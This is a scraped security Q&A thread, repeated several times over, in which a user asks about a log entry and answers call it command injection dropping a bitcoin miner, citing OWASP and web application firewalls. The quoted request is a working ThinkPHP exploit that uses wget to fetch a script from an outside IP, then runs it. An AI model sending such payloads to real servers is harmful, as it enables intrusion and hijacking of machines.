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How to prevent users from executing commands through browser URL
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I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
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I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
linux
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 2 hours ago
user3718908user3718908
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 2 hours ago
user3718908user3718908
1183
asked 2 hours ago
user3718908user3718908
1183
1183
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
add a comment |
2 Answers
2
active
oldest
votes
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
Thank you very much, will read more about it.
– user3718908
7 secs ago
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 1 hour ago
VeyfVeyf
211
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2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
Thank you very much, will read more about it.
– user3718908
7 secs ago
add a comment |
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
Thank you very much, will read more about it.
– user3718908
7 secs ago
add a comment |
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
answered 1 hour ago
Soufiane TahiriSoufiane Tahiri
1,751417
1,751417
Thank you very much, will read more about it.
– user3718908
7 secs ago
add a comment |
Thank you very much, will read more about it.
– user3718908
7 secs ago
Thank you very much, will read more about it.
– user3718908
7 secs ago
Thank you very much, will read more about it.
– user3718908
7 secs ago
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 1 hour ago
VeyfVeyf
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 1 hour ago
VeyfVeyf
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 1 hour ago
VeyfVeyf
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 1 hour ago
VeyfVeyf
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
answered 1 hour ago
VeyfVeyf
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
answered 1 hour ago
VeyfVeyf
211
answered 1 hour ago
VeyfVeyf
211
211
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
add a comment |
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